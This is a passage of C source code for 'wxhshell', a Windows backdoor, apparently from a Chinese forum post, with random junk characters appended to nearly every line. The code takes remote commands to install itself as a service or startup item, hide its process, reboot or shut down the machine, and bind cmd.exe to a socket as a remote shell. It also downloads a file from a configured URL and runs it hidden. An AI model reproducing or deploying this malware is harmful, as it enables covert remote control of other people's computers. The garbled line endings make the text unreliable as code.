      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DM7}&~  
    break; 1JTbCS  
  } }$&WC:Lg  
  // 安装 s*,cF6  
  case 'i': { ?)A2Kw>2  
    if(Install()) qc!xW ,I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  :q2YBa  
    else p?rK`$U+J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;?6>mh(`  
    break; H$!-f>Rxa  
    } 'ND36jHcRD  
  // 卸载 FuP}Kec  
  case 'r': { F%6*Df;cSe  
    if(Uninstall()) #0MK(Ut/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `6 Y33bQ  
    else xcSR{IZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7-y#SkXdo  
    break; ./maY1>T  
    } 9EgP9up{6!  
  // 显示 wxhshell 所在路径 I{n;4?  
  case 'p': { jW5iqU"{*  
    char svExeFile[MAX_PATH]; +BB0wY  
    strcpy(svExeFile,"\n\r"); eYP=T+  
      strcat(svExeFile,ExeFile); ]UUI~sFE  
        send(wsh,svExeFile,strlen(svExeFile),0); dt-K  
    break; QJ<[Zx  
    } n!.2aq  
  // 重启 t!l%/$-  
  case 'b': { :4;S"p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <%!J?  
    if(Boot(REBOOT)) Jirct,k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]6Qr  
    else { &G{2s J5{  
    closesocket(wsh);  {;RF  
    ExitThread(0); ^tE_LL+ji|  
    } $v&C@l \  
    break; |QYZRz  
    } jKt-~:  
  // 关机 &tBA^igXK  
  case 'd': { ^@_).:oX7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _^; ;i4VZ  
    if(Boot(SHUTDOWN)) KSOO?X0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u(9X  
    else { UD*+"~  
    closesocket(wsh); >~&(P_<b  
    ExitThread(0); xYT}>#[  
    } 3_J>y  
    break; +Jw{qQR/*  
    } i| xt f  
  // 获取shell aF])"9  
  case 's': { 6GOg_P  
    CmdShell(wsh); $r"A@69^RS  
    closesocket(wsh); wW()Zy0)  
    ExitThread(0); xKW"X   
    break; "-U3=+  
  } ~L){O*Z  
  // 退出 TSXTc'  
  case 'x': { .}p|`3$P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G^KC&  
    CloseIt(wsh); 4$i}Xk#3  
    break; 6F ;Or  
    } ,I39&;Iq  
  // 离开 G7Ny"{Z  
  case 'q': { *tG11gR,&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {&`VGXG  
    closesocket(wsh); n!?r }n8  
    WSACleanup(); 6PJ'lA;*b  
    exit(1); Doj(.wm~  
    break; :)LC gIQo  
        } 6 6dTs,C  
  } ;Id"n7W  
  } =~",/I?  
6H6Law!)  
  // 提示信息 ^f0(aYWx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Z=wE3T@  
} QRagz, c  
  } 96)v#B?p  
>t,O2~  
  return; /#IH -2N  
} 1)Eq&ASB  
{_Np<r;j<  
// shell模块句柄 |` v^d|  
int CmdShell(SOCKET sock) \P?--AI q<  
{ KT=a(QL  
STARTUPINFO si; dgY5ccP  
ZeroMemory(&si,sizeof(si)); ecT]p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s[Gswd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D8 wG!X  
PROCESS_INFORMATION ProcessInfo; /1N)d?Pcl  
char cmdline[]="cmd";  h.D^1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ax]9QrA  
  return 0; UhBz<>i;!  
} 6>lW5U^yA\  
%\l0-RA@<  
// 自身启动模式 DZ%8 |PmB  
int StartFromService(void) p`L L   
{ }Oh5Nm)  
typedef struct y0y+%H-  
{ O E]~@eU  
  DWORD ExitStatus; +ruj  
  DWORD PebBaseAddress; XJ _%!  
  DWORD AffinityMask; _&=9Ke  
  DWORD BasePriority; gvK"*aIj  
  ULONG UniqueProcessId;  X)y*#U  
  ULONG InheritedFromUniqueProcessId; 6iyt2q kh  
}   PROCESS_BASIC_INFORMATION; fW[_+r]  
W -3w7^  
PROCNTQSIP NtQueryInformationProcess; lvG3<ls0K$  
Yr:>icz|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 78gob&p?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w[|y0jtw  
7%X+O8  
  HANDLE             hProcess; NrW[Q 3E$  
  PROCESS_BASIC_INFORMATION pbi; U <|B7t4M  
9/^d~ ZO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @!Y.935/0  
  if(NULL == hInst ) return 0; cx<h_  
:> x:(K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S [ i$e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Sv>C `FMU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Qga|n8C  
~y`Pwj  
  if (!NtQueryInformationProcess) return 0; "hz>{oe  
"rL"K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _%XbxP6rH  
  if(!hProcess) return 0; ,Z >JvTnH  
/Lj%A   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I<IC-k"Y  
m<~>&mWr  
  CloseHandle(hProcess); 3@%BA(M  
g521Wdtnn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _3*: y/M_  
if(hProcess==NULL) return 0; @^B S#  
l A 0-?k  
HMODULE hMod; o$*bm6o  
char procName[255]; wbn^R'  
unsigned long cbNeeded; -wJ   
@263)`9G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '3IkPy1Uz  
PV5-^Y"v  
  CloseHandle(hProcess); 02;f2;I  
>B@i E  
if(strstr(procName,"services")) return 1; // 以服务启动  >cC Gx  
"h^A]t;qe  
  return 0; // 注册表启动 2(@LRl>:  
} Cij$GYkv  
8') .o hD  
// 主模块 nD^{Q[E6=  
int StartWxhshell(LPSTR lpCmdLine) ~NTDG  
{ z7D*z8,i  
  SOCKET wsl; i7Y s_8A"9  
BOOL val=TRUE; ubiQ8Bx  
  int port=0; o6`Y7,]  
  struct sockaddr_in door; 6:e}v'q{  
=ip~J<sw&  
  if(wscfg.ws_autoins) Install(); |_xZ/DT  
Q"x`+?!  
port=atoi(lpCmdLine); R (+h)#![  
.aVHd<M  
if(port<=0) port=wscfg.ws_port; !y[}|  
9Ba%=  
  WSADATA data; R!:eYoQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }[XB]Xf  
s{x*~M$vt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xkk@ {}J\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uK+9gTv  
  door.sin_family = AF_INET; SaX,^_GY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T%;k%  
  door.sin_port = htons(port); __oY:d(~  
A&X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [qO5~E`;  
closesocket(wsl); y\r^\ S9%  
return 1; ^+.+I cH  
} e _SoM!;  
(r#5O9|S  
  if(listen(wsl,2) == INVALID_SOCKET) { wsdB; 6%$  
closesocket(wsl); e>ZbZy?  
return 1; \FY/eQ*07  
} <=5,(a5g  
  Wxhshell(wsl); v%69]a-T  
  WSACleanup(); bv:0EdVr  
2fHIk57jP  
return 0; )D6'k{6M  
i"2J5LLv  
} |g: '')>[  
:JTRRv  
// 以NT服务方式启动 mlsvP%[f.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o}r!qL0c  
{ eY6gb!5u  
DWORD   status = 0;  gnKU\>2k  
  DWORD   specificError = 0xfffffff; /:*R -VdF  
[7SI<xkv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; it/C y\f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9:}RlL+cOk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Yf)lV&[  
  serviceStatus.dwWin32ExitCode     = 0; ^G7n#  
  serviceStatus.dwServiceSpecificExitCode = 0; Kc-A-P &Ry  
  serviceStatus.dwCheckPoint       = 0; fed[^wW  
  serviceStatus.dwWaitHint       = 0; n41\y:CAo  
V fE^g\Ia  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .H[Lo>  
  if (hServiceStatusHandle==0) return; 7DHT)9lD/  
Gr"2G,,VI  
status = GetLastError(); D/!eov4"  
  if (status!=NO_ERROR) bCY^.S-  
{ p[k9C$@e}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /FNj|7s  
    serviceStatus.dwCheckPoint       = 0; yo Q?lh  
    serviceStatus.dwWaitHint       = 0; i+T0}M<  
    serviceStatus.dwWin32ExitCode     = status; b/D9P~cE  
    serviceStatus.dwServiceSpecificExitCode = specificError; zYgK$u^H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8' g*}[  
    return; W&~iO   
  } [&]YVn>kj  
!!D:V`F/d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /="D]K)%b8  
  serviceStatus.dwCheckPoint       = 0; /S=;DxZ,r  
  serviceStatus.dwWaitHint       = 0; 6&xW9' 6b:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @gl%A&a  
} E#HU?<q8  
K&"Pm9  
// 处理NT服务事件,比如:启动、停止 aBA#\eV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e&a[k  
{ \ /X!tlwxh  
switch(fdwControl) exrt|A] _[  
{ iYfLo">  
case SERVICE_CONTROL_STOP: me}Gb a  
  serviceStatus.dwWin32ExitCode = 0; 5+Zx-oWq_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w$_'xX(  
  serviceStatus.dwCheckPoint   = 0; XKPt[$ab  
  serviceStatus.dwWaitHint     = 0; K&gc5L  
  { s%TO(vT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?\p%Mx?   
  } |Nx!g fU  
  return; <0,ah4C  
case SERVICE_CONTROL_PAUSE: cI4qgV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f!R^;'a  
  break; .1?i'8TF  
case SERVICE_CONTROL_CONTINUE: t%YX-@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0 f#a_  
  break; .Mft+,"  
case SERVICE_CONTROL_INTERROGATE: "62Ysapq+  
  break; $E@.G1T [  
}; ThqfZl=V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ai_|)  
} +q, n}@y=  
[Jh))DIx  
// 标准应用程序主函数 2Q_{2(nQb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >zx50e)  
{ Q{|'g5(O  
TboHP/  
// 获取操作系统版本 g #<?OFl  
OsIsNt=GetOsVer(); 2,QApW_Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '  ^L  
K}*p(1$u  
  // 从命令行安装 0~L 8yMM  
  if(strpbrk(lpCmdLine,"iI")) Install(); %<*pM@  
2dJ)4  
  // 下载执行文件 xA1pDrfC/  
if(wscfg.ws_downexe) { lJQl$Wx^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^A$XXH '  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sw9mrhzJfe  
} 7z0 uj  
+z?f,`.*  
if(!OsIsNt) { hD.wKX?oO  
// 如果时win9x,隐藏进程并且设置为注册表启动 !rmo*-=^=  
HideProc(); K~~*M?.Z  
StartWxhshell(lpCmdLine); R\=\6("  
} K dQ|$t  
else ^WYG?/{4  
  if(StartFromService()) GQAg ex)D  
  // 以服务方式启动 d1_*!LW$  
  StartServiceCtrlDispatcher(DispatchTable); 0J,d9a [1  
else q@yabuN@,j  
  // 普通方式启动 b0CaoSWo  
  StartWxhshell(lpCmdLine); T1W9@9,s  
RpXGgw  
return 0; ^9~%=k=  
}
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只看该作者 1 发表于: 2006-10-10
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